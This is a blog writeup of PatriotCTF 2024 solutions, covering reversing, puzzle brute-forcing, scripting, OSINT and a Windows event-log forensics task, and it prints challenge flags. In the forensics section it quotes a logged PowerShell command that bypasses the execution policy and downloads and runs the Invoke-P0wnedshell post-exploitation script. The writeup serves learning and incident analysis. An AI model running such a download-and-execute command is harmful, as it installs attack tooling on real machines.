Logo strn.dev
PatriotCTF 2024

PatriotCTF 2024

September 22, 2024
17 min read
Table of Contents

Throughout the past weekend, I’ve played in the PatriotCTF 2024 event. Let’s get into it.

Rev

Password Protector

We’ve been after a notorious skiddie who took the “Is it possible to have a completely secure computer system” question a little too literally. After he found out we were looking for them, they moved to live at the bottom of the ocean in a concrete box to hide from the law. Eventually, they’ll have to come up for air…or get sick of living in their little watergapped world. They sent us this message and executable. Please get their password so we can be ready. “Mwahahaha you will nOcmu{9gtufever crack into my passMmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ympword, i’ll even give you the key and the executable:::: Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV”

To make better sense on the given message, let’s look at the executable first.

We’re given a .pyc file, which is a compiled Python file. We can easily decompile it using pylingual

Pylingual gives this output:

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: passwordProtector.py
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 2024-06-24 01:36:28 UTC (1719192988)
 
import os
import secrets
from base64 import *
 
def promptGen():
    flipFlops = lambda x: chr(ord(x) + 1)
    with open('topsneaky.txt', 'rb') as f:
        first = f.read()
    bittys = secrets.token_bytes(len(first))
    onePointFive = int.from_bytes(first) ^ int.from_bytes(bittys)
    second = onePointFive.to_bytes(len(first))
    third = b64encode(second).decode('utf-8')
    bittysEnc = b64encode(bittys).decode('utf-8')
    fourth = ''
    for each in third:
        fourth += flipFlops(each)
    fifth = f"Mwahahaha you will n{fourth[0:10]}ever crack into my pass}fourth[10:]}word, i'll even give you the key and the executable:::: {bittysEnc}"
    return fifth
 
def main():
    print(promptGen())
if __name__ == '__main__':
    main()

Let’s go back to the message, and structure it in a way to clearly see the variables:

Mwahahaha you will n
Ocmu{9gtuf
crack into my pass
MmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ymp
word, i'll even give you the key and the executable:::: Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV

Knowing this, we have our variables:

fourth[0:10] = "Ocmu{9gtuf"
fourth[10:] = "MmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ymp"
bittysEnc = "Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV"

We can now reverse the process to get the password:

import base64
from pwn import xor
 
fourth_part1 = "Ocmu{9gtuf"
fourth_part2 = "MmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ymp"
bittysEnc = "Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV"
 
bittys = base64.b64decode(bittysEnc)  # bittysEnc = b64encode(bittys).decode('utf-8')
third = ''.join(chr(ord(c) - 1) for c in (fourth_part1 + fourth_part2))  # fourth += lambda x: chr(ord(x) + 1)
second = base64.b64decode(third)  # third = b64encode(second).decode('utf-8')
first = xor(second, bittys)
 
print(first.decode())

Puzzle Room

As you delve deeper into the tomb in search of answers, you stumble upon a puzzle room, its floor entirely covered in pressure plates. The warnings of the great necromancer, who hid his treasure here, suggest that one wrong step could lead to your doom.

You enter from the center of the eastern wall. Although you suspect you’re missing a crucial clue to guide your steps, you’re confident that everything you need to safely navigate the traps is already within reach.

At the center of the room lies the key to venturing further into the tomb, along with the promise of powerful treasures to aid you on your quest. Can you find the path, avoid the traps, and claim the treasure (flag) on the central platform?

This is a strange challenge. We’re given a gigantic .py file, containing a maze.

Let’s take a look at the code:

#!/usr/bin/env python
import time
import random
 
#### Crypto stuff not important
import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES
 
 
class AESCipher(object):
    def __init__(self, key):
        self.bs = AES.block_size
        self.key = hashlib.sha256(key.encode()).digest()
 
    def encrypt(self, raw):
        raw = self._pad(raw)
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return base64.b64encode(iv + cipher.encrypt(raw.encode()))
 
    def decrypt(self, enc):
        enc = base64.b64decode(enc)
        iv = enc[: AES.block_size]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return AESCipher._unpad(cipher.decrypt(enc[AES.block_size :])).decode("utf-8")
 
    def _pad(self, s):
        return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)
 
    @staticmethod
    def _unpad(s):
        return s[: -ord(s[len(s) - 1 :])]
 
 
class bcolors:
    HEADER = "\033[95m"
    OKBLUE = "\033[94m"
    OKCYAN = "\033[96m"
    OKGREEN = "\033[92m"
    WARNING = "\033[93m"
    FAIL = "\033[91m"
    ENDC = "\033[0m"
    BOLD = "\033[1m"
    UNDERLINE = "\033[4m"
 
 
def slow_print(msg, delay=0):
    for letter in msg:
        time.sleep(delay)
        print(letter, end="", flush=True)
    print()
 
 
def how_did_you_succumb_to_a_trap():
    slow_print(
        bcolors.FAIL + "FWOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOSH" + bcolors.ENDC,
        delay=0.04,
    )
    ways_to_get_got = [
        "Well, you sure found the trap—too bad it found you first.",
        "That one step forward just turned you into a well-done adventurer.",
        "Turns out not checking for traps does lead to a fiery conclusion.",
        "Took one step too many... and now you’re part of the decor.",
        "Next time, maybe trust your instincts before you become toast.",
        "Maybe next time you’ll sneeze before stepping onto the fire trap.",
        "Well, if you were looking for a quick tan, mission accomplished.",
        "Looks like you found the fire... with your face.",
        "Well, that’s one way to light up the room—too bad it’s you that’s burning.",
        "Guess those fire-resistant potions were back in your pack, huh?",
        "You just turned 'walking into danger' into 'walking into a bonfire.'",
        "At least now we know what happens when you don’t watch your step... you sizzle.",
        "You really lit up the room...",
    ]
    slow_print(random.choice(ways_to_get_got))
 
 
def how_did_you_avoid_the_fire():
    ways_to_avoid = [
        "Good thing you sneezed before walking in or you'd be toast!",
        "That was close-who knew stopping to tie your boot would keep you safe?",
        "You had a bad feeling about this room, and it turns out, you were right!",
        "Good thing you hesitated, or else you'd be one roast adventurer",
        "You stopped, unsure for just a moment—and that indecision saved your life.",
        "That brief moment of doubt was all it took to avoid being incinerated.",
        "Lucky that you bent down to adjust your gear—one more step and you'd be fried.",
        "That sudden itch you stopped to scratch just saved you from being flame-broiled.",
        "Lucky you had to tighten your pack strap—you missed the fire by a heartbeat.",
        "Good thing you hesitated—one more step and you'd be barbecue.",
    ]
    slow_print(bcolors.OKGREEN + random.choice(ways_to_avoid) + bcolors.ENDC)
 
 
class PathGroup:
    tiles = []
    current_cordinates = None
    path_history = []
 
    def __repr__(self):
        return "[X] {} -- {} \n".format(self.tiles, self.path_history)
 
 
grid = [
    [
        "SPHINX",
        "urn",
        "vulture",
        "arch",
        "snake",
        "urn",
        "bug",
        "plant",
        "arch",
        "staff",
        "SPHINX",
    ],
    [
        "plant",
        "foot",
        "bug",
        "plant",
        "vulture",
        "foot",
        "staff",
        "vulture",
        "plant",
        "foot",
        "bug",
    ],
    [
        "arch",
        "staff",
        "urn",
        "Shrine",
        "Shrine",
        "Shrine",
        "plant",
        "bug",
        "staff",
        "urn",
        "arch",
    ],
    [
        "snake",
        "vulture",
        "foot",
        "Shrine",
        "Shrine",
        "Shrine",
        "urn",
        "snake",
        "vulture",
        "foot",
        "vulture",
    ],
    [
        "staff",
        "urn",
        "bug",
        "Shrine",
        "Shrine",
        "Shrine",
        "foot",
        "staff",
        "bug",
        "snake",
        "staff",
    ],
    [
        "snake",
        "plant",
        "bug",
        "urn",
        "foot",
        "vulture",
        "bug",
        "urn",
        "arch",
        "foot",
        "urn",
    ],
    [
        "SPHINX",
        "arch",
        "staff",
        "plant",
        "snake",
        "staff",
        "bug",
        "plant",
        "vulture",
        "snake",
        "SPHINX",
    ],
]
 
 
def print_grid_with_path_group(grid, pg):
    for i, x in enumerate(grid):
        for j, y in enumerate(x):
            if (i, j) in pg.path_history:
                if (i, j) == pg.path_history[-1]:
                    print(bcolors.FAIL + str("YOU").ljust(8, " ") + bcolors.ENDC, end="")
                else:
                    print(str("STEP").ljust(8, " "), end="")
            elif y == "SPHINX":  # Highlight traps
                print(bcolors.WARNING + str(y).ljust(8, " ") + bcolors.ENDC, end="")
            else:
                print(str(y).ljust(8, " "), end="")
        print()
 
 
def try_get_tile(tile_tuple):
    try:
        return grid[tile_tuple[0]][tile_tuple[1]], (tile_tuple[0], tile_tuple[1])
    except Exception as e:
        return None
 
 
def print_current_map():
    for x in grid:
        for y in x:
            print(str(y).ljust(8, " "), end="")
        print()
 
 
# This is you at (3,10)!
starting_tile = (3, 10)
starting_path = PathGroup()
starting_path.tiles = ["vulture"]
starting_path.current_cordinates = starting_tile
starting_path.path_history = [starting_tile]
 
 
def move(path, tile):
    sub_path = PathGroup()
    sub_path.tiles.append(tile)
    sub_path.current_cordinates = tile
    sub_path.path_history = path.path_history.copy()
    sub_path.path_history.append(tile)
    return sub_path
 
 
cur_tile = starting_tile
 
 
def menu(path):
    cur_tile = path.current_cordinates
    next_tile = None
    while next_tile == None:
        print(
            bcolors.OKGREEN
            + "\t ------------- The puzzle room layout -------------"
            + bcolors.ENDC
        )
        print_grid_with_path_group(grid, path)
        print("".join([try_get_tile(x)[0] for x in path.path_history]))
        choice = input(f"Which direction will you journey next? {"".join([try_get_tile(x)[0] for x in path.path_history])}: ").upper()
        # Hope you have python 3.10!
        match choice:
            case "N":
                next_tile = (cur_tile[0] -1, cur_tile[1])
            case "S":
                next_tile = (cur_tile[0] +1, cur_tile[1])
            case "E":
                next_tile = (cur_tile[0], cur_tile[1] +1)
            case "W":
                next_tile = (cur_tile[0], cur_tile[1] -1)
            case "NE":
                next_tile = (cur_tile[0] -1, cur_tile[1] +1)
            case "NW":
                next_tile = (cur_tile[0] -1, cur_tile[1] -1)
            case "SE":
                next_tile = (cur_tile[0] +1, cur_tile[1] +1)
            case "SW":
                next_tile = (cur_tile[0] +1, cur_tile[1] -1)
            case _:
                print("That doesn't seem to be a valid direction")
 
    new_path = move(path, next_tile)
    return new_path
 
 
slow_print(
    "With your hulking strength you break down the door to a room clearly designed to hold riches."
)
slow_print(
    "The door FLINGS across the room and lands on (3,9) and a massive ray a fire ignites the room."
)
slow_print(".", 0.3)
slow_print("..", 0.3)
slow_print("...", 0.3)
 
how_did_you_avoid_the_fire()
slow_print(
    "Phew, good thing you weren't in the room yet. Clearly it's booby trapped and you step onto the first tile (3,10)"
)
 
 
def check_path(path):
    for tile in path.path_history:
        if tile[1] > 10 or tile[1] < 0:
            how_did_you_succumb_to_a_trap()
            exit(-1)
        if tile[0] > 6 or tile[0] < 0:
            how_did_you_succumb_to_a_trap()
            exit(-1)
 
    if path.current_cordinates in [(3, 9), (3, 10)] or try_get_tile(path.current_cordinates)[0] == "SPHINX":
        how_did_you_succumb_to_a_trap()
        exit(-1)
 
    # Ensure unique path and other logic remains
    if len(set(path.path_history)) != len(path.path_history):
        how_did_you_succumb_to_a_trap()
        exit(-1)
 
    for tile in path.path_history[:-1]:
        if try_get_tile(path.current_cordinates)[0] == try_get_tile(tile)[0]:
            how_did_you_succumb_to_a_trap()
            exit(-1)
 
    if try_get_tile(path.current_cordinates)[0] != "Shrine" and len(
        set([x[1] for x in path.path_history])
    ) != len([x[1] for x in path.path_history]):
        how_did_you_succumb_to_a_trap()
        exit(-1)
 
    if try_get_tile(path.current_cordinates)[0] == "Shrine":
        key = "".join([try_get_tile(x)[0] for x in path.path_history])
        enc_flag = b"FFxxg1OK5sykNlpDI+YF2cqF/tDem3LuWEZRR1bKmfVwzHsOkm+0O4wDxaM8MGFxUsiR7QOv/p904UiSBgyVkhD126VNlNqc8zNjSxgoOgs="
        obj = AESCipher(key)
        dec_flag = obj.decrypt(enc_flag)
        if "pctf" in dec_flag:
            slow_print(
                bcolors.OKBLUE
                + "You've done it! All the traps depress and a rigid 'click' can be heard as the center chest opens! As you push open the top your prize sits inside!"
                + bcolors.ENDC
            )
            print(bcolors.OKCYAN + dec_flag + bcolors.ENDC)
            exit(0)
        else:
            slow_print(
                "You step onto the center area expecting your prize, but a loud whirling sound is heard instead. The floor plates make a large mechanical click sounds and engage the fire trap once again!"
            )
            how_did_you_succumb_to_a_trap()
            exit(-1)
 
 
cur_path = starting_path
while True:
    n_path = menu(cur_path)
    check_path(n_path)
    cur_path = n_path

Let’s just play the game and see what happens:

$ python3 puzzle_room.py
With your hulking strength you break down the door to a room clearly designed to hold riches.
The door FLINGS across the room and lands on (3,9) and a massive ray a fire ignites the room.
.
..
...
You stopped, unsure for just a moment—and that indecision saved your life.
Phew, good thing you weren't in the room yet. Clearly it's booby trapped and you step onto the first tile (3,10)
	 ------------- The puzzle room layout -------------
SPHINX  urn     vulture arch    snake   urn     bug     plant   arch    staff   SPHINX
plant   foot    bug     plant   vulture foot    staff   vulture plant   foot    bug
arch    staff   urn     Shrine  Shrine  Shrine  plant   bug     staff   urn     arch
snake   vulture foot    Shrine  Shrine  Shrine  urn     snake   vulture foot    YOU
staff   urn     bug     Shrine  Shrine  Shrine  foot    staff   bug     snake   staff
snake   plant   bug     urn     foot    vulture bug     urn     arch    foot    urn
SPHINX  arch    staff   plant   snake   staff   bug     plant   vulture snake   SPHINX
vulture
Which direction will you journey next?:

(Keep in mind the names of the tiles, they will be important later on)

Alright, it’s a maze. What’s the goal?

## SNIP
if try_get_tile(path.current_cordinates)[0] == "Shrine":
    key = "".join([try_get_tile(x)[0] for x in path.path_history])
    enc_flag = b"FFxxg1OK5sykNlpDI+YF2cqF/tDem3LuWEZRR1bKmfVwzHsOkm+0O4wDxaM8MGFxUsiR7QOv/p904UiSBgyVkhD126VNlNqc8zNjSxgoOgs="
    obj = AESCipher(key)
    dec_flag = obj.decrypt(enc_flag)
    if "pctf" in dec_flag:
        slow_print(
            bcolors.OKBLUE
            + "You've done it! All the traps depress and a rigid 'click' can be heard as the center chest opens! As you push open the top your prize sits inside!"
            + bcolors.ENDC
        )
        print(bcolors.OKCYAN + dec_flag + bcolors.ENDC)
        exit(0)
    else:
        slow_print(
            "You step onto the center area expecting your prize, but a loud whirling sound is heard instead. The floor plates make a large mechanical click sounds and engage the fire trap once again!"
        )
        how_did_you_succumb_to_a_trap()
        exit(-1)

Alright, so we need to get to the Shrine, without triggering any traps, and the only way we get the flag is if we walk on the correct tiles. Let’s (manually) try and pathfind ourselves to the shrine.

After a lot of trial and error, we can now map all safe routes to get to the Shrine.

So, we can see that there are two paths to the Shrine, one from the bottom (starting with SW), and one from the top (starting with NW).

It was at this point that I realized that there were far too many possible paths to the Shrine. Let’s go back to the drawing board.

Solution

Let’s go back. We know from the code that the flag is encrypted with AES, and the key is the names of the tiles we step on. We also know that the flag contains the string “pctf”. Let’s add some print statements, so we can see the key after each movement. Let’s modify the code:

def menu(path):
    cur_tile = path.current_cordinates
    next_tile = None
    while next_tile == None:
        print(
            bcolors.OKGREEN
            + "\t ------------- The puzzle room layout -------------"
            + bcolors.ENDC
        )
        print_grid_with_path_group(grid, path)
        print("".join([try_get_tile(x)[0] for x in path.path_history]))
+        choice = input(f"Which direction will you journey next? {"".join([try_get_tile(x)[0] for x in path.path_history])}: ").upper()
-        choice = input(f"Which direction will you journey next?

Now, let’s play the game again:

~/infosec/current-ctfs/patriot/puzzleroom                                                                                                                                              20:40:05
 python3 puzzle_room.py
With your hulking strength you break down the door to a room clearly designed to hold riches.
The door FLINGS across the room and lands on (3,9) and a massive ray a fire ignites the room.
.
..
...
Good thing you hesitated, or else you'd be one roast adventurer
Phew, good thing you weren't in the room yet. Clearly it's booby trapped and you step onto the first tile (3,10)
	 ------------- The puzzle room layout -------------
SPHINX  urn     vulture arch    snake   urn     bug     plant   arch    staff   SPHINX
plant   foot    bug     plant   vulture foot    staff   vulture plant   foot    bug
arch    staff   urn     Shrine  Shrine  Shrine  plant   bug     staff   urn     arch
snake   vulture foot    Shrine  Shrine  Shrine  urn     snake   vulture foot    YOU
staff   urn     bug     Shrine  Shrine  Shrine  foot    staff   bug     snake   staff
snake   plant   bug     urn     foot    vulture bug     urn     arch    foot    urn
SPHINX  arch    staff   plant   snake   staff   bug     plant   vulture snake   SPHINX
vulture
Which direction will you journey next? vulture: NW
	 ------------- The puzzle room layout -------------
SPHINX  urn     vulture arch    snake   urn     bug     plant   arch    staff   SPHINX
plant   foot    bug     plant   vulture foot    staff   vulture plant   foot    bug
arch    staff   urn     Shrine  Shrine  Shrine  plant   bug     staff   YOU     arch
snake   vulture foot    Shrine  Shrine  Shrine  urn     snake   vulture foot    STEP
staff   urn     bug     Shrine  Shrine  Shrine  foot    staff   bug     snake   staff
snake   plant   bug     urn     foot    vulture bug     urn     arch    foot    urn
SPHINX  arch    staff   plant   snake   staff   bug     plant   vulture snake   SPHINX
vultureurn
Which direction will you journey next? vultureurn:

So, for every step we take, the next tile’s name is appended to the key. Doesn’t this mean we can just bruteforce the key? If we know the constraints of the key, we can generate all possible keys and decrypt the flag with each key. So, what are the constraints?

  • The key has to start with ‘vulture’
  • The key cannot contain the same word twice

This looks feasible. Let’s write some code to generate all possible keys:

from itertools import permutations
import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES
 
class AESCipher(object):
    # same code as from the challenge
 
def generate_possible_words(base_word='vulture', possible_words=None):
    if possible_words is None:
        possible_words = ['SPHINX', 'Shrine', 'arch', 'bug', 'foot', 'plant', 'snake', 'staff', 'urn', 'vulture']
 
    possible_words = [word for word in possible_words if word != base_word]
 
    all_combinations = []
 
    for r in range(1, len(possible_words) + 1):
        for perm in permutations(possible_words, r):
            all_combinations.append(base_word + ''.join(perm))
 
    return all_combinations
 
results = generate_possible_words()
print(f"Total combinations: {len(results)}")
for key in results:
    obj = AESCipher(key)
    enc_flag = b"FFxxg1OK5sykNlpDI+YF2cqF/tDem3LuWEZRR1bKmfVwzHsOkm+0O4wDxaM8MGFxUsiR7QOv/p904UiSBgyVkhD126VNlNqc8zNjSxgoOgs="
    try:
        dec_flag = obj.decrypt(enc_flag)
        if "pctf" in dec_flag:
            print(dec_flag, key)
            break
    except Exception:
        continue

This code will generate all possible keys, and decrypt the flag with each key. If the flag contains “pctf”, we print the flag and the key. Let’s run this code:

$ python3 bf.py
Total combinations: 986409
pctf{Did_you_guess_it_or_apply_graph_algorithms?} vulturesnakearchplantbugstafffooturnShrine

Yeah, that’s it. The flag is pctf{Did_you_guess_it_or_apply_graph_algorithms?}, and the key is vulturesnakearchplantbugstafffooturnShrine.

I realized later on that it doesn’t matter the spot you walk into the Shrine, so I could literally have just walked straight to the Shrine, because there were only four squares to the Shrine. Oh well, it was fun to solve it this way.

Misc

Emoji Stack

Welcome to Emoji Stack, the brand new stack based emoji language! Instead of other stack based turing machines that use difficult to read and challenging characters like + - and [], Emoji Stack uses our proprietary patent pending emoji system.

The details of our implentation is below:

👉: Move the stack pointer one cell to the right 👈: Move the stack pointer one cell to the lef 👍: Increment the current cell by one, bounded by 255 👎: Decrement the current cell by one, bounded by 0 💬: Print the ASCII value of the current cell 🔁##: Repeat the previous instruction 0x## times

The Emoji Stack is 256 cells long, with each cell supporting a value between 0 - 255.

As an example, the program “👍🔁47💬👉👍🔁68💬👉👍🔁20💬” Would output “Hi!” with the following execution flow:

[0, 0, 0, 0] 👍🔁47
 
[0x48, 0, 0, 0] 💬👉: H
 
[0x48, 0, 0, 0] 👍🔁68
 
[0x48, 0x69, 0, 0] 💬👉: i
 
[0x48, 0x69, 0, 0] 👍🔁20
 
[0x48, 0x69, 0x21, 0] 💬: !

Author: CACI

This is just a stack based language. We can write a simple interpreter for this language. Here’s the code:

def emoji_stack_interpreter(code):
    # stack size
    stack_size = 256
    stack = [0] * stack_size
    pointer = 0
 
    # Pointless for loop wrapper
    def repeat_command(command, count):
        for _ in range(count):
            interpret_command(command)
 
    # I love if statements
    def interpret_command(command):
        nonlocal pointer
        if command == '👉':
            pointer = (pointer + 1) % stack_size
        elif command == '👈':
            pointer = (pointer - 1) % stack_size
        elif command == '👍':
            stack[pointer] = (stack[pointer] + 1) % 256
        elif command == '👎':
            stack[pointer] = (stack[pointer] - 1) % 256
        elif command == '💬':
            print(chr(stack[pointer]), end='')
 
    i = 0
    while i < len(code):
        command = code[i]
 
        if command == '🔁':
            repeat_count = int(code[i+1:i+3], 16)
            previous_command = code[i-1]
            repeat_command(previous_command, repeat_count)
            i += 3  # pointer
        else:
            interpret_command(command)
            i += 1
 
with open('input.txt', 'r') as f:
    program = f.read()
 
#program = "👍🔁47💬👉👍🔁68💬👉👍🔁20💬"
emoji_stack_interpreter(program)

This code reads the program from a file called input.txt, and interprets it. Let’s run this code:

$ python3 emoji_stack.py
CACI{TUR!NG_!5_R011!NG_!N_H!5_GR@V3}

Making Baking Pancakes

How many layers are on your pancakes? nc chal.pctf.competitivecyber.club 9001

We’re only given a netcat port. Let’s connect to it:

$ nc chal.pctf.competitivecyber.club 9001
Welcome to the pancake shop!
Pancakes have layers, we need you to get through them all to get our secret pancake mix formula.
This server will require you to complete 1000 challenge-responses.
A response can be created by doing the following:
1. Base64 decoding the challenge once (will output (encoded|n))
2. Decoding the challenge n more times.
3. Send (decoded|current challenge iteration)
Example response for challenge 485/1000: e9208047e544312e6eac685e4e1f7e20|485
Good luck!
 
Challenge: Vm0xMFlXRnRWa2RVYmtwT1ZsWndVRlpzV21GWlZuQllaVWRHV2xadVFsbGFWVnByVkRGYWMxTnVjRmRXZWtGNFdXdGFTMVpYU2tkWGJGcE9WakpvTmxac1ZtRlpWa3B5VGxab1VGWnNXbTlVVmxaM1RWWmtjMWRzV2s1V2JIQllWVzAxVTJGV1NsVldiR2hWVm14d1dGUlVSbUZTTVZaeVpFWldhVlpzY0ZsWFYzUnZVakZaZUZkclZsSldSM001fDY=
(0/1000) >>

It’s a scripting challenge. We need to decode the base64 string and send it back. Let’s write a script for this:

import base64
from pwn import *
 
r = remote('chal.pctf.competitivecyber.club', 9001)
 
def solve(enc):
    chall = base64.b64decode(enc).decode().split("|")
    ct = chall[0]
    n = int(chall[1])
 
    for i in range(n):
        ct = base64.b64decode(ct).decode()
 
    return ct
 
 
iteration = 0
 
while iteration < 1000:
    r.recvuntil(b'Challenge: ')
    enc = r.recvline().decode().strip()
 
    decoded_ct = solve(enc)
 
    r.sendline(f"{decoded_ct}|{iteration}".encode())
 
    iteration += 1
    log.info(iteration)
 
r.interactive()

This script works 90% of the time. Let’s just run it:

$ python3 solve.py
 
[*] 995
[*] 996
[*] 997
[*] 998
[*] 999
[*] 1000
[*] Switching to interactive mode
(999/1000) >> Wow you did it, you've earned our formula!
DO NOT SHARE:
pctf{store_bought_pancake_batter_fa82370}
[*] Got EOF while reading in interactive

OSINT

Light warning, there is a lot of guessing in this category. I will try and explain my thought process as much as possible, but because it’s OSINT, it’s hard to be concrete.

On The Run

We’ve been tracking the adversary for weeks, and he just slipped up and posted this gorgeous high-rise view on his Twitter. His caption was “awesome meeting with a gorgeous view!” Can you track down his location?

Flag format will be PCTF{<business name of his location>}. Not a street address. If he were in a WeWork space, it would be PCTF{wework}.

ontherun

This is a pretty simple challenge, where we’re supposed to find out the specific location of the image. We’ve been given a skyline, so we can easily use Google Lens to try and find potential matches..

ontherun-lens.png

The first result points towards Raytheon, but it’s not the flag and it’s a pretty global company, so we can’t narrow it down using that. The second result is a renting list.

rent

We’ve been given the address of the function:

1800 North Lynn St., Arlington, VA 22209

It’s not a precise enough street address, so I used the third result, which is a yelp page, which gives us the exact address of the building.

yelp image

(recognize the image?)

google maps

The flag isn’t The View of DC because the company closed down in 2019. For some ironic reason, there is a WeWork space in the building, but the flag is actually PCTF{convene}

Phase One

phaseone

We had one of our agents infiltrate an adversary’s lab and photograph a gateway device that can get us access to their network. We need to develop an exploit as soon as possible. Attached is a picture of the device. Get us intel on what MCU the device is utilizing so we can continue with our research.

Flag format: pctf{mcu_vendor_name} (example: pctf{broadcom}

On the image, we can clearly see DLINK DSL-6300V written on the device. Let’s make a google search for "D-Link DSL-6300V".

phaseone-results

There is a manual for the device, which is a rabbit hole. Don’t go there. The third result gives us the page for the modem on Deviwiki.

deviwiki

The flag is PCTF{ikanos}.

Night School

It’s said that a famous geocacher has left a cache on our Fairfax campus. He took this picture before disappearing into the night. Could you help us find where this picture was taken? The flag is pctf{NAME_OF_STATUE}

nighttimestatue

The image is too dark to be able to use Google Lens, so we can focus on Fairfax campus. As we know the campus is in Fairfax, and we know the univeristy is George Mason University, we can search for George Mason University statues.

Irritatingly so, there is a large statue of George Mason himself, and searching for George Mason statue gives us a statue of George Mason himself, and not any other statue on the campus. The entire statues website is filled with pictures of the George Mason statue, which further irritates us ctf players.

A lot of randomly clicking around, got me to discover-mason, which just so happens to have a picture of the statue in the image.

nightschool-solve

The flag is pctf{communitas}.

Forensics

Bad Blood

Nothing is more dangerous than a bad guy that used to be a good guy. Something’s going on… please talk with our incident response team. nc chal.competitivecyber.club 10001 suspicious.evtx

Let’s connect to the nc server first:

$ nc chal.competitivecyber.club 10001
Welcome analyst.
We recently had to terminate an employee due to a department-cut.
One of our most dramatic terminations was that of a C-suite executive, Jack Stoneturf.
We believe he may have maliciously infected his workstation to maintain persistence on the corporate network.
Please view the provided event logs and help us conduct our investigation.
 
 
Answer the following questions for the flag:
Q1. Forensics found post exploitation activity present on system, network and security event logs. What post-exploitation script did the attacker run to conduct this activity?
	Example answer: PowerView.ps1

We’re given an .evtx file, which is an event log file for Windows. Luckily, windows has a built-in tool called eventvwr which can be used to view these logs.

eventvwr

The file is filled with 465 logs, with most of them containing base64 encoded scripts, but the outlier is this “Execute a Remote Command” log:

pownedshell

Creating Scriptblock text (1 of 1):
Set-ExecutionPolicy Bypass -Score Process [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString
('https://raw.githubusercontent.com/IAMinZoho/OFFSEC-Powershell/main/Invoke-P0wnedshell.ps1'))

Okay, first question is answered. Let’s move on to the next one.

$ nc chal.competitivecyber.club 10001
Welcome analyst.
We recently had to terminate an employee due to a department-cut.
One of our most dramatic terminations was that of a C-suite executive, Jack Stoneturf.
We believe he may have maliciously infected his workstation to maintain persistence on the corporate network.
Please view the provided event logs and help us conduct our investigation.
 
 
Answer the following questions for the flag:
Q1. Forensics found post exploitation activity present on system, network and security event logs. What post-exploitation script did the attacker run to conduct this activity?
	Example answer: PowerView.ps1
>> Invoke-P0wnedshell.ps1
That makes sense.
 
Q2. Forensics could not find any malicious processes on the system. However, network traffic indicates a callback was still made from his system to a device outside the network. We believe jack used process injection to facilitate this. What script helped him accomplish this?
        Example answer: Inject.ps1
>>

There is another log that contains a download of a script:

inject

Let’s answer the question:

$ nc chal.competitivecyber.club 10001
# SNIP
Q3. We believe Jack attempted to establish multiple methods of persistence. What windows protocol did Jack attempt to abuse to create persistence?
        Example answer: ProtoName
>>

I wasn’t quite sure about this one, so I just guessed WinRM.

$ nc chal.competitivecyber.club 10001
# SNIP
Q4. Network evidence suggest Jack established connection to a C2 server. What C2 framework is jack using?
        Example answer: C2Name
>>

I had absolutely no idea about this one, so I just used the awesome-command-control list, and made this script:

from pwn import *
 
c2_tool_names = [
    "Apfell", "AsyncRat C#", "Baby Shark", "C3", "Caldera",
    "CHAOS", "Dali", "Empire", "Covenant", "Silent Trinity",
    "Faction C2", "Flying A False Flag", "FudgeC2", "Godoh",
    "iBombshell", "HARS", "Koadic", "MacShellSwift", "Ninja",
    "NorthStarC2", "EvilOSX", "Nuages", "Octopus", "PoshC2",
    "Powerhub", "Prismatica", "QuasarRAT", "Merlin", "Sliver",
    "SK8PARK/RAT", "Throwback", "Trevor C2", "Metasploit Framework",
    "Meterpreter", "Pupy", "PetaQ", "Pinjectra", "ReverseTCPShell",
    "SHAD0W", "SharpC2", "Gcat", "DNScat2", "EggShell",
    "EvilVM", "Void-RAT", "WEASEL"
]
 
for c2_tool in c2_tool_names:
    r = remote('chal.competitivecyber.club', 10001)
 
    r.sendlineafter(b'>>', b'Invoke-P0wnedshell.ps1')
    r.sendlineafter(b'>>', b'Invoke-UrbanBishop.ps1')
    r.sendlineafter(b'>>', b'WinRM')
 
    r.sendlineafter(b'>>', c2_tool.encode())
 
    if "That can't be right" in r.recvline().decode().strip():
        log.info(f"Trying {c2_tool}: wrong")
        r.close()
    else:
        log.info(f"Success with {c2_tool}!")
        r.interactive()
[*] Trying Empire: wrong
[*] Closed connection to chal.competitivecyber.club port 10001
[+] Opening connection to chal.competitivecyber.club on port 10001: Done
[*] Success with Covenant!
[*] Switching to interactive mode
 
That'll do. Thanks for your help, here's a flag for your troubles.

The flag is pctf{3v3nt_l0gs_reve4l_al1_a981eb}.

Conclusion

I had very fun playing this CTF, so I’d like to thank George Mason University’s Competitive Cyber Club for hosting this CTF! Thank you so much for reading this (long overdue) writeup, and I hope to see you sometime soon!